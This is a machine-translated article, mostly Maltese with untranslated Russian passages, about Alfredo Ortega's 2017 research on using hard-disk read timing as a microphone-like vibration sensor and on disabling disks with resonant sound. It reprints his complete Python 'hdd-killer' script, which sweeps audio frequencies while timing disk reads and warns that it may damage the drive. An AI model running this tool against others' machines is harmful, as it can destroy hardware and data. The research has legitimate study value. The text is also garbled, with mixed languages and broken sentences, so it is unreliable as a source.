
Fil-konferenza Ekoparty 2017 dwar is-sigurtà tal-kompjuter f'Buenos Aires, il-hacker Arġentin Alfredo Ortega wera żvilupp interessanti ħafna - sistema għall-ispiċċar tal-wiretapping tal-bini mingħajr l-użu ta 'mikrofonu. Ħoss !
L-HDD prinċipalment jiġbor ħsejjes ta 'frekwenza baxxa ta' intensità għolja, passi u vibrazzjonijiet oħra. Id-diskors tal-bniedem għadu ma jistax jiġi rikonoxxut, għalkemm xjentisti (rikonoxximent tad-diskors minn vibrazzjonijiet ta 'frekwenza baxxa, li huma rreġistrati, pereżempju, minn ġiroskopju jew HDD).
Il-ħoss huwa l-vibrazzjoni tal-arja jew mezz ieħor. Persuna tipperċepixxihom permezz tal-eardrum, li jittrasmetti vibrazzjonijiet lill-widna ta 'ġewwa. Il-mikrofonu huwa ddisinjat bejn wieħed u ieħor bħal widna - hawnhekk ukoll, il-vibrazzjonijiet huma rreġistrati minn membrana rqiqa, li tqanqal impuls elettriku. Il-hard drive, ovvjament, huwa wkoll soġġett għal vibrazzjonijiet mikroskopiċi minħabba varjazzjonijiet fl-arja tal-madwar. Dan huwa magħruf anke mill-karatteristiċi tekniċi tal-HDDs: il-manifatturi ġeneralment jindikaw il-livell massimu ta 'vibrazzjoni permissibbli, u l-hard drive innifsu ħafna drabi jipprova jpoġġih f'kontenitur li ma jgħaddix vibrazzjoni magħmul minn gomma jew materjal iżolanti ieħor. Minn dan huwa faċli li tikkonkludi li l-ħsejjes jistgħu jiġu rreġistrati bl-użu tal-HDD. Jibqa' biss biex insemmu kif.
Alfredo Ortega ppropona verżjoni unika ta' attakk tal-kanal tal-ġenb, jiġifieri attakk tal-ħin. Dan l-attakk huwa bbażat fuq is-suppożizzjoni li jsiru operazzjonijiet differenti fuq l-apparat f'ħinijiet differenti, skont id-dejta tal-input mogħtija. F'dan il-każ, id-"dejta tal-input" hija l-vibrazzjonijiet tar-ras tal-qari u l-platter tal-HDD, li jikkorrelataw mal-vibrazzjonijiet tal-ambjent, jiġifieri mal-ħoss. Għalhekk, billi jitkejjel il-ħin tal-komputazzjoni u titwettaq analiżi statistika tad-dejta, jistgħu jitkejlu l-vibrazzjonijiet tar-ras/platter u għalhekk il-vibrazzjonijiet tal-medju. Iktar ma jkun itwal id-dewmien fil-qari tad-dejta, iktar ikun qawwi l-vibrazzjonijiet tal-HDD u, għalhekk, iktar ikun qawwi l-ħoss.
Kif tkejjel il-vibrazzjoni tal-hard drive? Sempliċi ħafna: mexxi biss is-sejħa tas-sistema read () — u rreġistra l-ħin li tieħu biex titlesta. Is-sistemi operattivi moderni jippermettulek taqra l-ħin tas-sejħiet tas-sistema bi preċiżjoni nanosekondi.
Il-veloċità tal-qari tal-informazzjoni minn settur tiddependi fuq il-pożizzjoni tar-ras u l-platter, li tikkorrelata mal-vibrazzjonijiet tal-każ tal-HDD. Dak kollox.
L-analiżi statistika titwettaq bl-użu ta 'utilità sempliċi msejħa Kscope. Kif jgħidu, kollox inġenjuż huwa sempliċi.

Utilità Kscope (stat() syscall)
Kscope hija utilità żgħira għall-viżwalizzazzjoni ta 'differenzi żgħar fil-ħinijiet ta' eżekuzzjoni tas-sejħa tas-sistema. Sors.
F'repożitorju separat hemm verżjoni tal-utilità kkonfigurata għal attakk tal-ħin fuq il-hard drive, jiġifieri kkonfigurata biex tanalizza s-sejħa tas-sistema read ().
Dimostrazzjoni ta 'reġistrazzjoni tal-ħoss bl-użu ta' HDD, tħaddim tal-utilità Kscope

Naturalment, id-diskors ma jistax jinftiehem b'dan il-mod, iżda l-HDD huwa pjuttost adattat bħala sensor tal-vibrazzjoni. Per eżempju, tista 'tirreġistra jekk persuna liebes żraben iebsin jew barefoot daħlet f'kamra b'kompjuter (probabbilment, jekk l-attakkant ikun liebes sneakers artab jew ikun hemm tapit oħxon mal-art, l-HDD ma jkunx jista' jirreġistra vibrazzjonijiet - dan ta’ min iċċekkja). Il-kompjuter huwa kapaċi jirreġistra ħġieġ miksur jew inċidenti oħra b'intensità qawwija tal-ħoss. Jiġifieri, il-hard drive jista 'jservi bħala tip ta' sistema ta 'skoperta ta' intrużjoni mhux awtorizzata.
qattiel HDD
Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.

Qalba Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из b'dimostrazzjoni tal-qattiel HDD
Huwa kurjuż li "attakki" bħal dawn fuq HDDs kultant iseħħu kompletament b'inċident fil-ħajja ta 'kuljum. Pereżempju, f'Settembru 2016, iċ-ċentru tad-dejta tal-ING Bank kien sfurzat jissospendi l-operazzjonijiet għal 10 sigħat wara eżerċizzju tan-nar. minħabba l-ħoss qawwi ta 'gass inert li jkun rilaxxat miċ-ċilindri taħt pressjoni għolja. Il-ħoss kien qawwi ħafna (aktar minn 130 dB), iżda lanqas tista 'tgħajjat lill-hard drives - dan iżid id-dewmien fl-aċċess għall-HDD.
Dimostrazzjoni ta 'għajjat uman fuq hard drives f'ċentru tad-dejta. Kejl ta' latenza

Biex jiġġenera l-ħoss reżonanti, Alfredo Ortega kiteb script Python imsejjaħ ().
Huwa pjuttost żgħir, għalhekk tista 'tippubblikaha kollha kemm hi hawn.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Sors: www.habr.com
